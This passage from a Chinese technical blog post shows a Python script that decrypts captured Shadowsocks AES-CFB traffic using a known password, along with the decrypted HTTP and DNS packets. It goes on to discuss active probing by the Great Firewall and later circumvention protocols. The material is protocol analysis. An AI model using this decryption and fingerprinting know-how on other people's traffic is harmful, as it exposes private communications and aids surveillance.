    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher):
    password = b'123456'
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'eae4c742ee94e9c041a8da4d75cd175856405056942fd9ccb9c66f2d4142d0e571566ac19280aa788913777402c7cadb3eeb52de8a0cf624d868fb910a42b68d1753b0e15dd6c459799367cbf36c1c71b2ec23e23af8cea52f9085007d5c23a6c6edfd5913f7f1e7e6534219368072563bfed7ee2c8aaec6e6542a9714'
    plain = decrypt(cipher)
    logging.info('http request  plain = %r', plain)

    # test http response
    cipher = '5bffc1034289c37c8e084abb81643cbb3b492c30b4fc68b231003f32fb64a81373953acb4b68b1c73ffb8dd50514e112cb79f7877533e7156fb3430c696be4e0962b740809a1f39425a93e6f95e6f1d3c28f88ef6c548775364296b7ee54a29fe04a5baabb829eb87cee653b748fe5de101baffcf60bce218c61def56074a73f9b1623bf37184a0cc92d414afa399281ad3290903cb7ed954b9bb91aef2a81e3ab0570c3d9f586518d6b2a880d88073884f1d6b6553dd85ad4e4a021480ccfc7681aad3d2dd186bbb14a1e7977af089ac92c48957b2ea13f'
    plain = decrypt(cipher)
    logging.info('http response plain = %r', plain)

    # dns request to 8.8.8.8
    cipher = 'b19e9ba4a8ec6746042b324483bad762084d0e0d49cbc77ef7552dbd099d9f68f001717a897cd7f2c626d566477186c2d1ad327b4b387562cdad3fbd'
    plain = decrypt(cipher)
    logging.info('DNS request  plain = %r', plain)

    # dns response from 8.8.8.8
    cipher = 'a90a1e3281a31e65f8b1859ddbea4e91332eb5bdcfc921508ad02657cdc6c55031eaeeef535f23e7a7ee8f33aff468f9d5be9a9fdfef16476ecddf67d7289e9b7e231cbd51c46c3e87d41f41668958439ed8d7e29556b433fb49e2c47f02f586a5abff3c868c98f79238ae6c9f870aad'
    plain = decrypt(cipher)
    logging.info('DNS response plain = %r', plain)


if __name__ == "__main__":
    main()

代码中还有一个坑点,CFB 分组加密模式有一个 segment_size 参数,调用 AES.new() 时需要跟随 Shadowsocks 设为 128 bits。关于此参数更详细的说明,可以参考 NIST SP 800-38A,以及 PyCryptodome 文档

运行此脚本:

$ ./decrypt.py
INFO:root:http request  plain = b'\x03\x0e172.16.209.100"\xb8GET /test.txt HTTP/1.1\r\nHost: 172.16.209.100:8888\r\nUser-Agent: curl/7.54.0\r\nAccept: */*\r\n\r\n'
INFO:root:http response plain = b'HTTP/1.0 200 OK\r\nServer: SimpleHTTP/0.6 Python/2.7.17\r\nDate: Sun, 08 Mar 2020 11:52:09 GMT\r\nContent-type: text/plain\r\nContent-Length: 14\r\nLast-Modified: Sun, 08 Mar 2020 11:46:54 GMT\r\n\r\nHello World!\n\n'
INFO:root:DNS request  plain = b'\x01\x08\x08\x08\x08\x005\xf1\xab\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08clients4\x06google\x03com\x00\x00\x1c\x00\x01'
INFO:root:DNS response plain = b'\x01\x08\x08\x08\x08\x005\xf1\xab\x81\x80\x00\x01\x00\x02\x00\x00\x00\x00\x08clients4\x06google\x03com\x00\x00\x1c\x00\x01\xc0\x0c\x00\x05\x00\x01\x00\x00\x01+\x00\x0c\x07clients\x01l\xc0\x15\xc01\x00\x1c\x00\x01\x00\x00\x01+\x00\x10$\x04h\x00@\x12\x00\x01\x00\x00\x00\x00\x00\x00 \x0e'

可见密文被成功解密,报文格式符合上述分析。

后记

Shadowsocks 协议只保证了保密性,而没有保证完整性,可以被主动探测技术识别。不难猜测,早已经有无数的组织和个人掌握了这种并不复杂的技术,包括 GFW。事实上确实如此,GFW 早已经开始使用主动探测技术来识别翻墙服务了。有一些文章记录了对 GFW 主动探测行为的分析,例如这篇这篇。作为用户,如果经常看自己的日志,也会注意到这种现象:

ss-active-detect-v2ray.png
主动探测技术早已得到应用

翻墙技术的对抗与发展

洒家认为,即使没有主动探测漏洞,直接基于 TCP/UDP 设计无特征协议的思路也已经走到了尽头。无特征并不意味着找不到特征,无特征本身就是一种特征。更何况,我们也很难设计出一种完全找不到任何缺陷的协议,编写出一种完全没有任何问题的实现。因为翻墙就如同“瞒天过海”之计,翻墙协议需要满足的性质除了保密性、完整性之外,更重要的是隐蔽性。GFW 封禁翻墙软件时,并不需要解密密文,只需要判断某一段流量是否有问题即可。而完美地保证所有性质,避免所有漏洞,比任意找出一个漏洞困难得多。

原始 Shadowsocks 协议问世之后,又出现了 OTA 协议、AEAD 加密方式等新技术。此外,还有人写了 ShadowsocksR 等修改版本,试图做一些简单的伪装,洒家认为,这反而增加了更多特征。

后来,出现了 VMess 等新协议。2020 年 6 月,有人公开了 VMess 的主动探测识别方法。在这条 issue 中,一些离题的讨论阐述了翻墙技术的正确发展方向。紧接着,VLess 协议问世

与此同时,Trojan 也逐渐流行起来。

在这个领域内,用户普遍缺少知识水平(当然,这本来就不应该是网民操心的东西),爱好者缺少自由的交流环境,同时经常有人捣乱搅浑水。用户往往持“能用就行”的态度,对安全性缺少重视。仍然有很多人在使用不安全的实现、不安全的加密方式。有一部分网民甚至还在使用至少 5 年前的 2015 年其主动探测漏洞就已经被公开的 Shadowsocks AES-CFB 等加密方式。在这种情况下,虽然封禁 Shadowsocks 易如反掌,但是 GFW 并没有对其赶尽杀绝。GFW 的封禁力度也是会随着形势变化的,普通时期睁一只眼闭一只眼,敏感时期赶尽杀绝。猜测其原因,一方面,GFW 和翻墙技术之间已经形成了一种“对抗共生关系”。通往海外互联网的大门暂时不会完全关闭,永远都会有人翻墙。而过于严格的封禁会使用户大量转向更安全的翻墙方式,如同抗生素和耐药菌的对抗一样,这时 GFW 的实际控制力反而会降低。另一方面,这也是“可以翻墙,但不能没墙”策略的体现。引用复旦大学教授张维为的一句话此处删去 919 个字。但是近期,GFW 的封禁力度似乎有所提高,此处删去 810 个字洒家对 GFW 不发表任何意见和态度。

最后值得一提的是,Shadowsocks 等软件的设计是在当时特定的历史条件下产生的,它们的成功也来自用户的选择。无论这些翻墙软件有什么样的漏洞,我们也不应该被带节奏,吃饱了没事干,指手画脚,指责作者。

用户建议

不同的用户,知识水平不同,动手能力不同,对可用性、匿名性的需求也不相同。针对不同的用户,洒家分别提出以下几种解决方案。

根据相关法律法规和政策,此处删去 114514 个字

机器学习

还有一些人发表了利用机器学习识别 Shadowsocks 流量的论文,例如这篇。洒家认为,机器学习本身确实是一种有用的方法,但是它并不是万能的。现在的人工“智能”并没有真正的智能,它不能真正地思考,不能理解逻辑。硬套模型,去解决机器学习无法解决的问题水一篇论文,这种做法纯属扯淡。从 GFW 的角度看,直接用密码学就能简单地从根本上解决问题,非要运用机器学习强行识别特征,相对来说过于复杂,准确率也不高,这样还不如直接干扰或封禁无法识别的协议。不过,洒家现在也走上了制造学术垃圾的道路,对这种做法也感到同情。文章当然是要水的,但是还是建议各位炼丹师多学点别的东西。洒家经常能看到人工“智能”将要淘汰这些或是那些职业的讨论。机器学习大热的时候大家还没失业,热度一过炼丹师搞不好先失业了。

机器学习 学个屁

关于机器学习最后还可以提一点。有人想识别套在 TLS 里的 v2ray 流量,套了一波模型,发现准确率几乎达到了 100%,这显然是不正常的(笑)。然后大伙发现了 TLS 的 Client Hello 握手包存在固定不变的可识别的特征字段的问题。这一波误打误撞可以称得上耐人寻味,也许以后协议设计完可以先硬套一波模型检测检测,看看协议设计是否有低级失误?

关于 breakwa11

breakwa11 是一个有贡献却饱受非议的人。此人开发了 Shadowsocks 的修改版 ShadowsocksR,无论是新协议有效性的争议,还是早期软件开源协议的争议,都是可以和平讨论与协商的。此人指出了 Shadowsocks 的主动探测漏洞,对于此人的贡献,我们应该表示感谢。可惜,可能是有关部门的人故意搅局吧,此人遭受了大量的指责谩骂,最后竟然被人肉搜索退圈。

诸位不觉得讽刺吗?

真相总有一天会大白于天下。

扩展阅读和参考资料

关于 Socks5 协议:

关于 Shadowsocks 的历史:

Shadowsocks 源码和协议分析:

GFW 与翻墙技术的进化历史:

关于 GFW 主动探测行为的调研:

Shadowsocks 重定向攻击:

对比 Shadowsocks 和 v2ray:


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top